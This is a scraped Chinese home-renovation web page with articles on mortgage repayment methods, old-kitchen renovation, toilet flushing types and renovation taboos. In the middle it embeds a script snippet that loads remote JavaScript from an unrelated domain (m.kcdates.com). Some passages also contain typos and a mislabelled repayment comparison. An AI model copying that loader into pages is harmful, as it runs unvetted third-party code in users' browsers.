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孔皓洁

买房还贷技巧有哪些谁能分享分享?哪位晓得?

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黄淑然 有用 1

买房还贷技巧:什么是等额本息还款其实,你在看一手房子的时候,售楼小姐给你算的都是这种,因为每月还款数额固定,而且相对于另一种方式,这个金额更小,更容易被买房者接受。但是大家知道等额本息的真实还款情况吗以贷款20年,贷款100万元,算下来月还7,485.2元为例。每个月还银行7,485.2元,其中5,458.33元是利息,2,026.86元是本金,也就是说,你还的钱,大部分是银行利息,而本金还的较少。到了还款期限一半的时候,利息已经在前10年还的差不多了,但是你的本金还有很大部分没有还,而这些是必须还的,即便你10年后条件好很多了,可以提前还贷了,但后面剩的基本是本金,利息很少,提前还贷已经没有什么意义了。在银行贷款,基本只会跟你说这一种还款方式,因为这样,银行的利益才会最大化。大部分家庭,既然贷款20年,不可能会在很短几年就还完,但是10年后一般能还完。这样,银行的利息收益会减少很多,所以,银行这种方式让大家前10年都在还利息,而本金基本没怎么减少。就算你有钱了,再还,银行的利息都收一大半了,提早还贷对银行已经没什么损失了。接下来让我们看看什么是等额本金还款发现一个问题,就是银行不会主动提出有这种还款方式,基本都只说前一种。还是以贷款20年,贷款100万元,算下来月还9,625元为例。每月还的钱要比等额本金多2,140多元,其中4,166.67元是本金,5,458元是利息。但从第2个月开始,只需还9,602.26元,因为本金上月还了4,166.67元,这月利息要重新计算,因此会少23元的利息。以此类推,越到后面还款压力越小,而最重要的是:当你要提前还款的时候,比如5年后,因为你选择的方式,本金还的更多,这个时候本金已经相对上一种方式要减少了许多,提前还款的本金部分冲抵的更多,这样重新计算利息的时候就会少许多利息支出,而每少一年都是近万元的利息!就算不提前还贷,以这种方式,还20年,也要少还14万左右的利息!不过等额本金的前期还款压力会比较大。作为大多数跟我同样属于一般阶层的人,购买房子是大事情。所以,在签定合同后,一定要在银行贷款这方面多研究一下。其实这样算一算,银行贷款这方面,合理分配,可以节约十几万元的利息支出甚至更多。折算成房价,就是少了近千元/平,何乐而不为呢价格来源于网络,仅供参考

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很多以前的旧房厨房装修都不是特别的合理,而现代人对于厨房的要求又高了,旧房厨房装修满足不了人们的需求。因此,在重新装修的时候,就需要掌握一些技巧,它们分别是注意厨房的收纳问题、充分利用空间以及注意转角的设计。1、注意厨房的收纳问题相比较于旧房厨房装修,再次装修厨房的时候就要注意空间的收纳问题。因为厨房里面的东西真的是很多,生活中的柴米油盐都在里面。因此在装修厨房的时候要考虑到收纳的问题,最好是在设计橱柜的时候,做好功能分类,方便日后将厨房物品进行分类,让厨房不再是乱糟糟的,而是显得简洁干净。2、充分利用空间相信很多用过旧房厨房的业主,都会发现以前旧房厨房装修的时候,没有充分利用好空间。那么,再次装修就要注意了,只要是能利用的空间一定要利用起来,比如油烟机上面、冰箱上面、水槽下方等地方。油烟机上面可以摆放调味瓶,冰箱上面可以设置收纳柜,水槽下面可以放置垃圾桶和一些清洁工具。把这些空间都利用起来,会让厨房的空间变得更大。3、注意转角的设计装修厨房的时候,有一个令人头疼的问题,就是橱柜遇到转角的位置,如果设计得不好,是放不了东西的。但是如果采用安装转盘或者可伸缩的拉篮这种设计的话,就可以将空间利用起来了。在这里推荐大家拉篮选择圆形的,橱柜也设计成圆弧形的,这样看起来就很美观也很实用了。以上3点就是旧房厨房装修的3个技巧,因为旧房厨房装修属于二次装修,因此在装修的时候,更加要注意到以上的技巧,它们可以帮助各位业主打造出一个既美观又宽敞的厨房。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

马桶抽水方式有哪些            日常马桶选购技巧分享

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大家在选择一些家具对房间进行装饰时候,需要购买许多种类的家具。不同的家具用的是不同的材料,同时作用也都各不相同。特别是洗手间,洗手间是人们方便的地方,也是洗漱的地方。洗手间最重要的东西是马桶,马桶是人们每天都需要使用的。马桶的类型是根据抽水方式决定的,下面小编就为大家详细分析马桶的抽水方式都有哪些,方便大家选择。马桶抽水方式有哪些首先,马桶冲水方式有很多种,直冲式、虹吸式这两种比较得常用。那么直冲式,直冲式坐便器是利用水流的冲力来排出便便,一般池壁较陡,存水面积较小,这样水力集中,便圈周围的落下的水力加大,冲污效率高。当然直冲式坐便器冲水管路简单,路径短,管径粗(一般直径在9至10厘米),利用水的重力加速度就可以把便便冲干净,冲水的过程短。但是比较的节水。所以从节水方式上看很多人都愿意选择直冲式的。、其次,虹吸式坐便器的结构是排水管道呈“∽”型,在排水管道充满水后会产生一定的水位差,利用水位差把垃圾冲走,这样的方法也是比较好的。虹吸式能在里边存比较多的水,这样加入那天突然停水了,这个时候大家就不用担心了,因为虹吸式冲水方式存了很多的水,不会因为冲不走垃圾而导致室内难闻了。所以这就是虹吸式冲水马桶的优点。马桶选购技巧第一招:看釉面是否均匀消费者可以询问店家,排污口是否施釉,甚至可以把手伸进排污口,摸返水湾是否有釉面。挂污的罪魁祸首是釉面差,顾客可以用手摸,合格的釉面一定是手感细腻的。消费者可以挑剔一点,摸一摸釉面转角的地方(阴角阳角),釉面用得很薄的话,在转角的地方就会不均匀,就会露底,摸起来就会很粗糙。第二:敲击表面听生选择马桶时,要判断产品是否有内裂,或者产品是否烧熟!高温烧制的座便器吸水率低,不易吸进污水、产生异味。中低档的座便器吸水率很高,容易发臭且很难清洗,时间久了,还会发生龟裂和漏水的现象。那么怎么判断坐便器是否是否完好呢?大家选择坐便器是,可以用手轻轻敲击座便器,如果声音沙哑,不清脆响亮,很可能有内裂,或是产品没有烧熟。第三招:座便器重量掂一掂普通的座便器重量在50斤左右,好的座便器100斤左右。高档的座便器因为烧制时的温度高,达到了全瓷化的水平,所以掂在手上会有沉甸甸的感觉。但是在选购时,大家也不可能把坐便器举起来判断重量,这个时候,我们可以双手拿起水箱盖,可掂量它的重量,以判断整个马桶的重量。第四招:座便器的冲洗方式座便器冲的干净与否和它的冲水方式有直接关系。现在国内的座便器,主要有二种冲水方式,直冲式和虹吸式。直冲式座便器利用冲水时冲水的自身重力,将污物从座便器存水弯中压出以实现排污,优点是排污能力强;而虹吸式座便器则利用冲水时马桶排污管道中产生的虹吸力,将污物从座便器存水弯中吸出而达到排污的目的,优点是冲水的时候避免溅水,缸体冲洗效果更干净。第五招:座便器的用水量节水方法有两种,一种是节水用水量,一种是通过废水再利用达到节水。节水马桶与普通马桶功能一样,必须兼具省水、维持洗净功能及输送排泄物的功能,目前的市场上打着节水口号但产品技术与实际效果并不如意的产品不在少数,选购时需分外注意。第六招:测试节水性能市面上很多种产品都声称采用了6升节水设计,但实际上普通消费者很难辨别实际效果,建议购买知名品牌产品。马桶是否节水受两方面影响。以上就是小编为大家介绍的马桶抽水方式的哥怎么现实,相信大家看了以后应该对马桶的抽水方式有了一定的了解。大家在选择马桶的时候一定要提前规划好和房间的搭配。赶快再选择马桶的时候,一定要选择一些质量好的马桶,因为马桶是需要长时间使用的。质量好的马桶可以使用特别长的时间,希望小编的建议能够帮助大家选择到一款合适的抽水马桶。

赤峰装修网分享旧房改造禁忌有哪些

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现在一些赤峰旧房住的比较久了,住宅也显现了一些“老龄化”的特征,比方说墙皮掉落,天花板漆皮哗啦啦的往下掉,装饰板褪色!因此想要来给翻新改造!但是有些是不能改造的,也就是通常所说的装修禁忌,你是否都知道呢?下面赤峰装修网就来向各位说一下什么样的装修禁忌不能动!赤峰装修网分享旧房改造禁忌一、户门太多!可能我们发现我们住宅的门每次回来一看到它,就觉得有种看腻了的感觉,我们的赤峰居民通常这个时候的反应就是换掉!不过呢你们有没有想过有一些门是不能够换的,比方说赤峰住宅的门框是嵌在混凝土中的门,如果拆动的话会破坏房屋的建筑结构,降低安全系数。而且一旦破坏了门口的建筑结构,重新安装新门也会难上加难,所以在这里友情提醒,改门这个事情还是要慎重。赤峰装修网分享旧房改造禁忌二、住宅中的梁柱很多人懂了一点风水知识,比方说头上有个梁柱,那么从住宅风水上来说这个不是好局,其实除了拆掉还有别的化解法子。如果说我们的赤峰居民不小心拆掉的梁柱正巧是是用来支撑上层楼板的……那么上层楼板掉下来是什么感觉,你懂的,所以拆梁也是要慎重。赤峰装修网分享旧房改造禁忌三、住宅墙体中的钢筋在我们对旧房改造,做水电的时候我们千万不能动墙体中的钢筋。在这里我们可以做个简单的比喻:如果说把房屋结构比作成人的身体的话,那么墙体中的钢筋就是人的筋骨。钢筋遭到破坏,那么很自然的会影响墙体和楼板的承受力。如果遇到地震,这样的墙体和楼板就很容易坍塌或断裂。赤峰装修网分享旧房改造禁忌四、住宅承重墙什么样的墙是承重墙?在新房装修中,一般砖混结构的建筑物中,凡是预制板墙一律不能拆除或开门开窗;超过24厘米以上的砖墙也属于承重墙。另外,有人在承重墙上开门开窗,这样也会破坏墙体的承重,也是不允许的,影响整体家居设计的安全。赤峰装修网分享旧房改造禁忌五、阳台边的矮墙一般来说房间与阳台之间的墙上,都有一门一窗,这些门窗都可以拆改,但是呢在这里要注意的是窗以下的墙不能动。这段墙叫“配重墙”,它像秤砣一样起着挑起阳台的作用。拆改这堵墙,会使阳台的承重力下降,导致阳台下坠。赤峰装修网分享旧房改造禁忌二、卫生间改造卫生间和厨房这些地方的地面上都有防水层,如果我们破坏了,那么立马楼下就会有人来敲你家的们了。因此我们在对厨房进行改造,更换地面材料时,我们就一定注意不要破坏防水层。如果破坏后重新修建,一定要做“24小时渗水实验”,即在厨房或卫生间中灌水,如果24小时后不渗漏方算合格。以上旧房改造翻新,不知道各位赤峰居民是否都熟知了呢?你是不是下次还会犯呢?当你见到你朋友犯了这些装修禁忌,请你立马禁止,不为了什么,就为了安全着想!

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